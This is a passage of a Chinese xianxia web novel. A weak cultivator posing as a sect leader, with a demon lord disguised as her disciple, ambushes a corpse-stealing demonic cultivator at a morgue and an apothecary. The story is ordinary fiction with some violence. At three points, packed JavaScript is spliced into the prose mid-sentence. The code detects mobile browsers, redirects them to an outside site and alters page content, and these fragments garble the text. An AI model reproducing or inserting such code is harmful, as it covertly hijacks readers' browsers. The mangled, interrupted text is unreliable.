花无咎正品着吴大善人千金一两的名毫,闻言懒懒抬头,冲着门外规规矩矩站着的严子玉挥手,“随便,你愿意的话就拿你自己屋贴着。” 花无咎不过随口一说,中午一行人吃完饭往回走,她房间正好就在南宫明渡背后,得从他门前绕,结果真看见严子玉门上密密麻麻贴着全是钟馗,跟摆阵一样,把花无咎吓得一个趔趄。 “你贴门上做什么?你这能见光吗?” 花无咎脱口而出,严子玉垂着头,声音怯懦:“师父有令,徒儿不敢不从。” 花无咎抚额,“不是,你怎么一会儿聪明一会儿笨的?” 严子玉抬起头,一副不敢说话的样子。 花无咎按了两下额头,放下来手:“好了,为师有令。把你房门上那些钟馗全部都撕下来,装进你床底下。” 严子玉点头称是,打开房门,把里面外面贴着的钟馗画像全部都撕了下来,花无咎进严子玉房间一看,发现他这间房小得可怜不说,里面陈设还又旧又破,床褥一股浓烈的霉味,跟她住的那间天壤之别。 “这姓吴的……”花无咎刚开口,住了嘴。凡人更信奉尊卑有别,她住的地方,可能是吴凛特意安排的。 花无咎出了严子玉住的房间,又见到一名弟子正在开门,余光看见房间里面布置,心下一动,走过去让人将门打开。 虽然没花无咎住的房间大,但也是亮堂明净,应有尽有。比严子玉的好了不知道哪里去。 花无咎大概有了一些估量,转身又去看无归门其他人的住处,无一例外,都比严子玉那间房好。吴凛分辨不出来其他弟子谁高谁低,显然,是无归门的人不喜严子玉,专门分给他的这间房。 花无咎想,窝里横的人她见多了,头一回见个窝外横的,昨天呛别人厉害,到无归门里面就跟个傻子似的,总被人欺负。 花无咎出走一段时间的良心恰逢其时地跑了回来,让她思考起来自己是不是过于的作恶多端,并且还十分的没有下限—— 严子玉一介凡人,也还没来得及替无归门干坏事,她拿他撒气做什么呢? 晚上吃饭的时候,所有人,包括那位吴老爷,一同在席间用餐,饭毕,花无咎就问还有没有空余的客房,说想要给严子玉换一间房。 一时之间,无归门的人各有脸色。几人你看我我看你,都得出来一个结论—— 这小子跟门主告了状。 吴老爷站起身汗颜道:“回仙师的话,芳华园一共只有这么多间屋子,如果要换,只能够换到别的地方。” 换到别的地方,那么就隔得远了,不方便他们商量行动。 这时,司空风站了起来,凛然道:“我的房间大,若是严道友不介意,不如换到我的房间来。我去住严道友那间。” 严子玉起身道:“怎么好意思麻烦空见公子。” 司空风呵呵道:“不麻烦不麻烦。我就喜欢住小的房间,有安全感。” 严子玉道:“多谢空见公子,可于情于理,都不合适。” 司空风小心翼翼打量严子玉的脸色,没有从上面感觉出来一点不好意思,遂又提议道:“那……不如严道友搬过来,我与严道友同住一间,互相也有个照应。” 花无咎本来想要替严子玉回绝,司空风这种人主动管别人的事,想也知道没安好心。但很快她意识到,也许正好可以借这个机会,探探这些魔修伪装成仙门中人是想做什么。 “既然这样,那就麻烦空见公子了。”花无咎冲司空风拱手,“空见公子高义。劣徒若有不周之处,还请空见公子多多包涵。” *** 芳华园东南角的房子挨着园中草木长得最盛的地方,外面一棵大树可以遮阴乘凉,门前许多花草争相入景,坐在房内开一扇小窗,刚好看群芳斗艳。馥郁花香在空中漫荡,庭前阶上,走过去吸一口香气,都觉得通体舒畅。 司空风今天很不舒畅。 他沏好茶,四平八稳地挪动着步子走到一张四方的檀木桌前,桌上正燃着香,他鼻子刚好在走过去的时候猛吸了一口,差点要呛出来,还好他用力憋住,双手捧着茶轻而又地放在南宫明渡身前。 司空风很后悔。 很抓狂。 明明魔尊去了无归门,怎么会突然出现在沧州城呢? “你挑的这间房不错,”南宫明渡坐在靠窗的桌缘对面,正好能够收进窗外的景色,即使已经傍晚,天色已暗,微光之中,仍然可以感觉到沁人心脾的美,“位置好。” 司空风头皮发麻,马上道:“是我来得早,这园子还不打挤,大家都随意挑,我便有机会挑好的,挑了这间。” 南宫明渡手掌着茶抿一口,目光收回来落在司空风头顶,“哦,你的意思是,本座来这里住,挤着你了。” 司空风膝盖一软,差点要跪。 “属下不敢!”他抖抖索索迅速解释,“属下的意思是属下并不知道尊上要来这里,也并不知道尊上会随无归门的人过来屈尊降贵住在这姓吴的家里,如果属下知道,属下一定会等着尊上过来,将房间单独留给尊上!” 南宫明渡放下茶杯,“行了,给我起来。随我落座,免得等会有人过来,看见你这副样子,察觉出来不妥。” 司空风立马坐到南宫明渡对面。 但很快,他发现自己好像挡住南宫明渡看花了,于是又挪到了南宫明渡的右手边。还没有等他挪好,南宫明渡的声音又乍然响在他耳边。 “说吧,你装作仙门中人来这里做什么?” 司空风:“呃……” 南宫明渡微笑。 这世上就是有人,笑起来比不笑更恐怖。 司空风紧着喉咙道:“属下听说沧州城中出现了作乱的魔修,所以特意过来瞧瞧到底是什么情况。” 魔城里面的魔修虽然不常到人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248180|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是外面的魔修跟仙门的人打起来,那也是喜闻乐见,他的意思是,他专门过来凑这个热闹。 南宫明渡:“哦,你的意思是我不在魔城,你于是玩忽职守。” 司空风:“!” 司空风:“属下绝对不敢!” 南宫明渡:“你不是玩忽职守,那你的意思是,你想要‘白骨生花’的修炼之法?” 完蛋。 司空风觉得自己的脖子有一点凉。 “不、不是……”司空风说话像在咬舌头,几个字几个字往外蹦,“属下的意思是……呃……属下的意思是……” “你听说这里有尸体失踪,所有人都在讲‘白骨生花’,于是按捺不住要去找人,”南宫明渡冷笑一声,“你想要从兰简的道,也不想想他的下场。” 司空风吞了一下口水,喉咙有点干,接着又忍不住去舔嘴唇。 “兰简有没有告诉过你,‘白骨生花’是暴虐之术,越练到后面,越忍不住想要杀人?” “这、这……属下不知。不过、不过……”司空风一边看南宫明渡脸色一边磕磕绊绊道,“属下并不是因为听说这里有尸体丢失过来的。” 南宫明渡挑眉,示意他继续往下说。 “属下是听说这里很多人半夜无故失踪,来了很多仙门的人过来查看,在义庄之前,其实已经有一名修士跟在沧州城中出没的一个魔修交过手,说那魔修手里好几样法宝,他根本不是对手,就逃走了。这事传给了许多人,其中有一名曲剑宗的修士,回去将此事上报给宗门,曲剑宗就派了五名弟子下来抓人。” 使用法宝不像兵器,有的兵器要修为达到才能够催动,而催动法宝往往不需要什么特别的技法,到谁手里都一样,魔城之中要是谁听说谁有一件法宝,那么周围不知道多少人虎视眈眈想要抢宝。 法宝,就像一锭黄金,小儿闹市抱金,人人眼馋,拿到黄金不是本事,保得住黄金才是本事。 “你的意思是,这些人聚集在这里,其实都是想要抢法宝?” 司空风犹豫片刻,点头。 南宫明渡又笑道:“贪心不足。” 又想要“白骨生花”,又想要法宝。司空风明白南宫明渡想说什么,左思右想冥思苦想,终于给自己想出来了一条生路,“属下抢宝,实则是为了献给尊上。” 南宫明渡玩味地打量司空风:“哦?” “是!”司空风硬着头皮继续道,“尊上屈尊降贵深入虎穴,属下又怎么能够无动于衷呢?当然,尊上为我魔道兴盛鞠躬尽瘁,属下是拍马不及万一,效尊上之行,也不过,图惹笑话。” 南宫明渡道:“原来在你眼中,本座去无归门是为了抢夺法宝。” 司空风:“……”完了,说漏嘴了。 南宫明渡懒得再戏弄司空风,冷冷一笑,“不错,本座去无归门,确实为取宝。白映青在无归门紧要地方设了禁制,本座贸然过去,马上就会惊动无归门的人。本座只为取物,强行破阵,无归门的人必赶来挡本座,本座如果逃了,下一次便更难取物,本座如果将所有人都杀了,那么就相当于跟仙门宣战。三十六宗一荣俱荣一辱俱辱,到时候数不尽的麻烦。” 魔尊从来不爱讲无关紧要的秘密,对他说这些,显然是这些计划有地方要差遣他。司空风赶紧竖起耳朵,认真端坐。 “尊上大局为重,实在令属下钦佩,也令属下汗颜。”听到这里,司空风送上马屁。 魔城和仙门已经各自安好几百年,没有天大的恩怨,不会有仙门的人闯进魔城捣乱,也不会有人闯进仙门说要平哪座山头——再说了,仙门的灵气帮不了魔修增进修为,魔城也帮不了仙门的人长进,天灵宝地,那也是得对症下药,抢别人的没有用。 “本座打听到无归门中得白映青的口谕石,可以畅通无阻。你,去替本座取物。” 司空风:“……” 司空风伸出食指,扭扭捏捏地指着自己的鼻子,“呃,我?” “不错。本座已经发现,口谕石就戴在白映青的手上。你想办法,把东西卸下来给我。” 司空风:“……”作为一个只要魔尊讲话就绝对不让魔尊的话掉在地上的优秀狗腿,司空风发现自己居然也有词穷的一天。 13.第 13 章 “本座知道,你想问本座就在她身边,为什么不自己取。”南宫明渡站起身,天边的光骤然暗淡,将他半张脸藏在暗色之中,黑眸中没有情愫,寒谭一般幽深,“本座一旦失手,身份暴露,计划就功亏一篑,相反你去,就算没成功,也方便脱身。” 不是,尊上,您就没有考虑过鄙人会不会挨打吗? 司空风心里面凉飕飕的,觉得自己真是贱得慌,魔尊走了,他在魔城里面谁也管不着,明明是难得的享福日子,他非要管不住腿到处乱逛,撞上这位祖宗。 “怎么,你不愿意?” “愿意!”司空风“蹭”地一下站起身,一脸的视死如归,“尊上有令,属下万死不辞!” 司空风狗腿上瘾,又上赶着问,“那些无归门弟子不长眼,竟然敢排挤尊上,要不要属下替尊上教训他们?” “不必。本座的仇,本座自己会报。”南宫明渡想到白天的事,脸色陡然不愉,“白映青把本座当跑腿的使唤,还敢设阵来暗算本座,令本座脸——”话锋一转,南宫明渡冷道,“到时候,本座要她十倍奉还。” 司空风想,难道要白映青再跑十次腿来还吗? 当然,他还没有没眼力见到这种地步,遂义正词严地附和道:“是,尊上!” 在义庄那晚所有人戒备了一夜,精神疲惫,第二天便没有再商量行动,到第三天早上,众人出来饭厅集合,继续商量捉拿魔修的事宜。 徐千秋率先道:“昨天晚上我从衙门那里得到消息,就在前日我们蹲守东义庄那晚,西义庄失踪了两具男尸。”说着,他从怀中拿出来一张对折过的纸,纸上有墨,背后透出来许多墨痕,摊开纸,他低头对着一边看一边道,“这是衙门的人帮忙整理的在各个义庄失踪的尸体数量,失踪时间。我已经仔细看过,从这里面找不出来什么规律。” 随临疑惑道:“徐道友之前说,东义庄丢失的尸体最多。” 徐千秋点头道:“不错。之前我们判断,这个魔修藏身的地方离东义庄最近。故而为求方便,才最常在东义庄偷尸。”他顿了顿,又补充道,“凡人讳死,义庄这种地方通常附近都没有人住,东南西北四个义庄,各自位于沧州城最南、最东、最西、最北,那个魔修要带尸体走,多半不会舍近求远。” 随临点头表示了解。丹毛仙人——也就是月洞老人道:“徐道友的意思,那魔修有可能发现了我们当日行踪,故而特意避开东义庄?” “不,反而,我认为那个魔修还没有发现我们出手,否则无归门、穹华派、曲剑宗都到齐,他只会逃之夭夭。”徐千秋缓缓道,“我的想法是,那个魔修藏身之处并不一定就在东义庄。若是这样,那么四处义庄,就不能够再厚此薄彼。” 之前他们在东义庄设伏,那个魔修当晚就去了西义庄偷尸。徐千秋认为他们应当在四个地方都设下埋伏,否则那个魔修过几天意识到义庄已经不再安全,很可能直接失踪,他们就再也找不到他。 这个提议受到了所有人的支持,唯一一个问题是,他们十来个人,要怎么分配去的地方。 如果按照宗门来分,刚好他们穹华派、曲剑宗、无归门各占一处,另外三名散修再占一处。可徐千秋只有一人,那三名散修也实力不知,所以得重新拿个办法。 花无咎对于这种提前设伏的事情完全没有团伙参与经验,毕竟在人间混的大部分时候,她都是被打得抱头鼠窜的那位,她有一搭没一搭的听,不时点头,表情严肃,表现出一副很认真的样子。 突然,她刚点完头,徐秋千就站起身,长舒了一口气,欣然道,“既然白门主同意,那么咱们就这么办吧。” *** 东义庄。 月高悬,风乍起,两扇被剑气崩烂的门还没有来得及修,门框上面就挂着两片长长的白布,瀑布一样晃晃荡荡垂下来,白布长过门槛,被风吹的时候奈何不住,在地上拖来拖去,簌簌作响。 花无咎蹲在义庄最角落的位置,上回在尸体底下不偏不倚躺了一晚上,腰酸背痛,这回她就不躺了,找了块木板放前面挡风,木板刚好能够遮住她肩膀以下,留出来头看清楚门位置的动静。 角落位置还有一扇窗,窗户合不拢,风吹过来会“咔咔”作响,花无咎拿了一块布去卡住,免得影响她听声。 “师父,咱们不藏在尸体底下吗?”旁边,南宫明渡探出头小声道。 “藏在那底下不方便辨位,”花无咎压低声音,“之前有徐千秋的剑阵在,有人靠近义庄,马上他就能够知道。剩下藏身在义庄之中的人只是后援。现在没有剑阵,等他进来,我们再从尸体下面出来,耽误功夫,落后一招。” 义庄角落空间不大,那块拿来遮挡的木板也是义庄里面原本用来放尸体的木架子裂开之后空出来的夹板,从中间劈断,长的那一节横着放,刚好能够让他们两个挤在一起。 花无咎身量没有南宫明渡高,坐下来的时候,头到他下巴往上一点,她声音低,说话时绵软的呼吸吐在南宫明渡的侧脸,南宫明渡没法躲闪,觉得脸上好像羽毛在挠,从脸颊痒到了耳根。 他不由伸出手去摸耳朵,另一只手就在这时突然抓住了他的手腕。 “别乱动。”花无咎压低声音呵了一声,顺便拽着南宫明渡的手规规矩矩地按在地上。 南宫明渡一动,衣服就发出摩擦的声音,虽然响声不大,但听在花无咎耳朵里那也是胆战心惊——她来这里才不是为了抓那魔修。柳歩这个天杀的,说白映青实力超群,提议她一个人单独守一个义庄,而严子玉这个便宜徒弟才入门,实力不济,大家都不愿意跟他一队,又把他给塞到了她手里。 昨天那魔修已经去过了西义庄,如果他今晚还要行动,那么很有可能会在剩下三个义庄当中选。花无咎已经打定好主意,只要那魔修现身,她立马就跳窗逃跑,至于严子玉—— 严子玉一旦发现她实力不济,告诉无归门的人,她一定会被无归门的人严刑拷打,死都算是轻的。所以,他必须要留在这里,成为那魔修的刀下亡魂。 南宫明渡不习惯被人贴身靠近,更何况制住手脚,他强忍住一掌将花无咎拍开的本能,手用力往后面一缩。花无咎只当他是听话,将手抬起来,伸出食指压住自己的嘴唇,转头比给南宫明渡看。 不对。太黑了,这小子看不见啊。 花无咎将手从自己嘴唇上放下来,直接压在南宫明渡的嘴上。 南宫明渡愣了一下,旋即明白过来,点头。 花无咎将手放下来。 两个人在义庄之中一直等过两个时辰,时间已经到了后半夜,花无咎本来精神紧绷,越到后面越觉得这魔修今晚应当是不会再来了,遂放松身体,稍微伸展了一下手脚,就在这时—— “嘭”——“咔嚓”—— “咔”—— 义庄东北角靠窗位置,一具尸体突然坐立起来,窗外月光朦胧,屋檐灯笼轻晃,一缕若隐若现的光打过来,花无咎眼睁睁看着那被白布裹着的尸体翻个跟头跌下来,哎哟叫唤一声,踉踉跄跄又爬起来。 花无咎心跳一窒,差点就要两眼一翻厥过去,她悬崖勒马把卡在喉咙里面的尖叫吞了进去,手却不听使唤往旁边一挥,一巴掌打到一个柔软的物体,然后就听见严子玉一声痛呼。 “谁?!”那从停尸台上翻身下来的“尸体”听见动静之后倏然站直,声音紧张。 竟然还是个女的。 花无咎后知后觉自己打在了什么地方,手倏地收回来,还没来得及思考出现在是什么情况,门外寒风乍起,两条垂在地上的白布跟面条一样被掀起来,脚步声越来越近,花无咎头皮一麻—— 那个魔修! “哪里逃!” 花无咎刚从地上跳起来,严子玉拔剑一声怒斥,战奉行本来还没发现义庄之中藏着人,走得慢悠悠,这下立刻听出来人在何处,义庄里面视野受限,他想也没想,拍掌就对着声音来的地方打去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261103|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵罡风袭来,花无咎还没飞出窗户,直接被掀翻在地。 严、子、玉! “呃啊——”严子玉剑尚未拔出,那掌力已经到了他胸前,“咔嚓一声”,木板直接被劈得粉碎,他闷哼一声倒在一边,嘴里却振振有词,“邪魔歪道,今日就是你的死期。” 战奉行本来打完那掌就准备逃命,结果看这人本事不大,被他打得中还敢在那对他出言不逊,怒上心头,一巴掌又拍出去。 “呵,想要拿我的命,也不看看自己的本事。” 掌风一来,整个义庄尸体上面的白布都被掀了起来,黑夜之中月光晦暗,照得那些白布跟鬼影一样在半空之中乱窜,花无咎刚运好气准备二次跳窗,那些柔弱无骨的布眨眼就已经到了眼前,一层叠另一层地绞住她的头面和上肢。 她呼吸一窜,就这么又从半空掉了下来。 他奶奶的。 花无咎行动不便,急得要死还要分出神去拆身上裹着的白布,那布原先盖过尸体,一股浓烈的腐臭味,她边拆边呕,严子玉的声音乍然响在她耳边,“咳——师父,咳——您、您没事吧?” “两个不知天高地厚的蝼蚁,”战奉行见状,更大胆往义庄之中走,抬手运功,“找死。” 花无咎终于拆完布,见一掌又来,抓着严子玉就跳窗出去。她提气纵身,着急之下比平时更快,本来晚上风不算急,到她耳边全都是呼啸不止,割得耳朵都在疼。 这一飞飞了至少三里地,到城内一间药铺外。 正是夜深,街上都没有人,这条街做生意的人多,灯笼挂在店铺两侧,算是附近最亮堂的地方。 花无咎将严子玉放下来。她之前靠严子玉近,感觉到他被掌风割伤,有温热的液体滴到她的手背。借着光,她看清楚,严子玉伤到了握剑的右手,木板被拍碎,割裂了他的虎口和掌心,血顺着他的掌纹,一直蔓延到手腕,沁湿了袖子,黄色的碎木屑还卷在掌心内侧。 你救他干什么呢? 他死不死,跟你有什么干系? 花无咎,你傻了吗? 花无咎想不明白当时为什么选择带着这傻子逃跑,在那儿绿着脸,南宫明渡没看明白花无咎的脸色,脑子里只有一个问题—— 白映青为什么不出手? 像是知道他在猜什么一样,站在他旁边的女子转过头来,神情坦然,“为师知道,你想要问为师,为什么不抓那魔修。那魔修之命,哪有你的性命重要。你已经受伤,为师怎么可能弃你不顾。” “可是……” “没有什么可是。为师不清楚你伤势如何,怎么能够放下你去抓那魔修?”花无咎打断南宫明渡,上前一步叩药铺的门,“万一没有来得及救治,你落下隐疾,为师这辈子都过意不去。” 花无咎灵机一动想了一个借口,等那药房掌柜一开门,火急火燎就将南宫明渡送了进去。大夫只会治外伤,遂先让南宫明渡躺在里间的一张窄床上,命他掀起了受伤的那一只手,让花无咎帮忙制住,说是免得他等会痛得乱动,接着用酒倒在伤口上,拿一团青草色的药膏薄薄敷上一层,然后便是慢慢往外挑那些木头的碎屑。 这点小伤,南宫明渡根本不放在心上,但见屋内两人都这样阵仗,于是那大夫挑刺,他也“恩呀哼呀”叫上两声。 花无咎为了演得更真,南宫明渡一痛,她就跟着皱眉头,关心他两句,叮嘱那大夫轻点下手。大夫深夜被叫醒,本来就一肚子怨气,现在一动手,两个人都唧唧歪歪不停,将刚夹出来的一根刺拔掉,阴阳怪气道,“男子汉大丈夫,一点小伤都受不住。昨天治了个断胳膊的,都没你这么能叫。” 他拔完最后一根刺抬头,跟那青年黑沉沉的眼睛对上,好像十几里外射出来的一支寒箭,带着刺骨的霜刃一起破空,又快又狠地扎到脊骨。 大夫后背一寒,哆哆嗦嗦站起身,“我、我、我清理得差不多了,你们先在这里坐会儿,我去开药……” 14.第 14 章 大夫不知道是不是腿脚不便,推门出去了快一刻钟,也没见个人影。花无咎走到门口,本来想要去叫那个大夫,突然之间想起来一个事。 “对了,上回……为师让你打探那个事,怎么样了?” 大夫走的时候没有将门完全合拢,花无咎一只脚已经出去了,问完这句,将脚撤了回来,手往门上施力一推,“咔嚓”一声,门就完全被扣紧了。 上一次司空风主动邀请严子玉共住一间,她提前吩咐过,让他帮忙打探一下这人的来历,平日里有没有什么古怪的地方。 南宫明渡皱了一下眉头,很快想起来是什么事,面色不改道:“徒儿跟那位空见公子还没相处太久。对他为人如何,不敢妄下定论。不过空见公子待我有礼,本来吴府的丫鬟带过来被子和可以铺在地上的床榻,空见公子担心我修为尚浅,晚上睡在地上容易着凉,故而主动请我去床上睡。” 顿了顿,南宫明渡继续道:“徒儿本来推辞,空见公子却觉得不安,徒儿就只好应下了。” 花无咎又追道:“你的意思是,那位空见公子邀请你去他的房间,他睡地上,你睡床上?” 南宫明渡心头一跳,面上仍然不动声色,急中生智道:“并非如此。方才没有说清楚,是我二人分塌。那床比我先前住的房间更大,能够容下我二人共枕。” 南宫明渡本来以为这样就能够糊弄过去,没想到抬起头,发现他这位师父脸色更加耐人寻味起来。 “你是说,空见公子邀请你去他房间,是为了跟你分塌?” “是,”南宫明渡斟酌道,“徒儿看,那位空见公子温闻有礼,心肠甚好。” 魔道赫赫有名四大护法之一,找一个修士去他房间睡觉,只是因为他心肠好,花无咎觉得自己脑子要是没有被驴踢了,都不可能相信这幅说辞。可她左思右想,又没有想出来严子玉有什么理由撒谎,最大的可能,是他缺心眼,人家百般算计,他这里一叶障目,什么都没察觉。 话音落下,花无咎好久没有说话,南宫明渡便又试探道:“敢问师父,为何要叫徒儿……小心这位空见公子?” 花无咎思索片刻,觉得告诉严子玉不防,免得这傻子被人卖了还倒替人数钱,“为师觉得,他是魔修。” 南宫明渡道:“敢问师父,是如何得知?” 花无咎道:“没什么,直觉罢了。” 南宫明渡道:“师父直觉……那人是什么来路?” 严子玉讲话,声音骤然变得沉起来,不似平常那样温和,花无咎愣了一下,就在此刻,门外传来一阵急促的脚步声,伴随着激烈的呼吸声,还有卡在喉咙里面不上不下的尖叫—— “啊——啊——啊!!!” “救命——!” “救命啊——!啊啊啊啊啊啊——救命啊!!——” 是掌柜的声音! 花无咎跟严子玉对视一眼。 ——最大的可能,刚才那个魔修找了过来。 南宫明渡立刻从床上起身,他身上佩剑被规规矩矩放在桌上,花无咎见他还在忙着穿衣裳,遂直接过去将他的剑拿了起来。 拔剑出鞘,寒光一闪而过,花无咎持剑从上方狠狠斩下,桌子登时被劈裂,不止如此,她还在将屋内其他的凳子、画着山水画的屏风、窗前左右两侧各自摆放一枚的大花瓶,统统拿剑砍碎。南宫明渡没有明白花无咎此举何意,正开口要问,人从床上踉踉跄跄起来,屁股刚从柔软的床垫挪出,剑又劈到了他的眼前。 那剑带着破空之息,从他细嫩的脖间擦肩而过—— 有一瞬间,花无咎甚至想要直接将严子玉的脖子给砍掉。 那魔修来了,她需要立刻从这里逃走。可如今她再没有另外借口,解释清楚自己没有办法出手这件事。 在死道友不死贫道,和死道友既死贫道当中,花无咎想也没想就选了前者,可真当剑落到严子玉脖子边上,她又忽然想起来当初去药堂看这人半死不活躺在床上的那一幕,无归门中,明明他最无辜,却是第一个死在她手下那位——就这么一瞬间的犹疑,对上那一双带着迷惑的黑眸,花无咎将剑尖撇走,蓄力砍向了床板。 无归门发给普通弟子的剑虽然不算什么稀世珍宝,但比起来凡人铸造的普通兵器,始终锋利许多,吹发可断,也不是说着玩的。 南宫明渡往后一跳,躲过地上木头砸下来激起的碎屑,灰尘在半空中洋洋洒洒,他捂着鼻子打了一个喷嚏,问,“师父这是作何?!” 花无咎继续往屋内乱劈,那床本身靠窗,床从中间塌了下去,花无咎一脚跨过去劈开窗户,急冲冲转头,“为师多弄一点动静,你快逃!” 花无咎在人间行走多年,逃跑之前先弄点动静,已经养成了本能——有些魔修能够听声辨位,她在房间里面把这些物件弄乱,那魔修即便听准了她在什么位置,一掌拍过来,掌风也会被那些地上障物所挡,到她这里,自然就轻了。还有一点,房间乱响,就听不见他们在讲什么话。 “快!你走了,为师才方便跟他打架。免得伤你。” 门外就在这时,刚才断断续续的救命声不见了,取而代之的是一声骨头碎裂的响,那响声一开始极其沉闷,像是有什么柔软的东西砸在了墙上,接着就是“咔嚓”“咔嚓”的脚步声,似乎是脚踩在了什么硬物之上。 南宫明渡听话照办,人嗖的一下就从窗户飞了出去。 花无咎本来还有点担心这缺心眼闹着要跟她“共进共退”,讲一些“师父不走,我也不走”的酸话,结果看人走这么爽利,喉咙蓦然上来一口气,刚才乱砍一通气息正乱,这下竟然给自己呛着了。 “咳、咳、咳……” 战奉行捡起来已经被他拍成一团烂骨的大夫,听见房间里面有人咳嗽,立刻将人砸在了门上,人飞门散,正好都从花无咎站着的方向来。花无咎在门内已有预料,纵身躲过冲她飞过来的尸体,尸体两只眼睛还没有闭上,两颗眼珠被拍得突出来,手臂横着大张开,满脸血污地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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战奉行眉头一皱,刚才的慢步变成了快步,甚至越来越快,穿梭过那扇门,发现那门通往的不是条街,却是一个极大酒窖,一股极其浓烈的酒糟味飘散在空气之中。 影影绰绰的月光,已经为他指明了要找的人藏身之处。 一口巨大的酒缸背后,露出来一片看不清颜色的衣角。 还想暗算他。 “呵,”战奉行蓄力狠拍一巴掌,“给我死!” 砰——! 酒缸在劲烈的煞气中四分五裂,背后那人没有像预料之中粉身碎骨,反而,居然——他居然—— 纹丝不动?! 南宫明渡按着背,缓缓从地上站起来。 战奉行又拍一掌。 凌厉的掌风在空中赫赫响过,落到南宫明渡胸口,他—— 他又纹丝不动。 战奉行骇然往后面一跳,“你是什么东西?!” 南宫明渡撇开肩上一缕被风吹乱的发丝,黑着脸跃过酒缸的碎片,“从来还没有人,敢当着面,打我两次。”